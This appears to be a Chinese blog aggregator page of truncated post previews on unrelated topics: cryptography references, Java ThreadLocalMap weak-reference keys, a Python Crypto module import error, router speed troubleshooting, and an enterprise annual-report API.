参考文献&#xff1a; [CT65] Cooley J W, Tukey J W. An algorithm for the machine calculation of complex Fourier series[J]. Mathematics of computation, 1965, 19(90): 297-301.[Mont85] Montgomery P L. Modular multiplication without trial division[J]. Mathemat…

⛳面试题-简述并分析ThreadLocalMap的key为什么是弱引用

⛳目录 简述 ThreadLocalMap 的 key 为弱引用的原因&#xff1a;分析&#xff1a;注意 &#xff1a; ThreadLocalMap 是 Java 中与 ThreadLocal 相关的一个重要类&#xff0c;用于在每个线程中存储和访问线程本地变量。在 ThreadLocalMap 中&#xff0c;key 为弱引用的主要原因…

ModuleNotFoundError_ No module named ‘Crypto‘

当要使用 python 进行加密数据的时候报错了 from Crypto.Util.Padding import pad, unpad from Crypto.Cipher import AES报错 File "F:\huisu.py", line 1, in <module>from Crypto.Util.Padding import pad, unpad ModuleNotFoundError: No module named Cr…

千兆路由只有200M,原来是模式选择不对,也找到了内网不能通过动态域名访问内部服务的原因

本来1000M的宽带接入的&#xff0c;但是一测试发现只有200M&#xff0c;把电信叼了过来&#xff0c; 一测试发现宽带没问题&#xff0c;网线正常&#xff0c;网卡正常&#xff0c;只有可能是路由器的问题了&#xff0c;尴尬了&#xff0c;赶紧给满意好评放他走。回头好好研究一…

企业年报API:打开企业经营大数据的新视角

引言 随着数字化转型的深入推进&#xff0c;企业年报API作为企业信息化建设中的重要组成部分&#xff0c;受到了越来越多企业和机构的关注和重视。而且&#xff0c;随着中国经济的快速发展&#xff0c;企业年报也成为投资者、监管机构以及相关利益方了解企业经营状况的重要途径…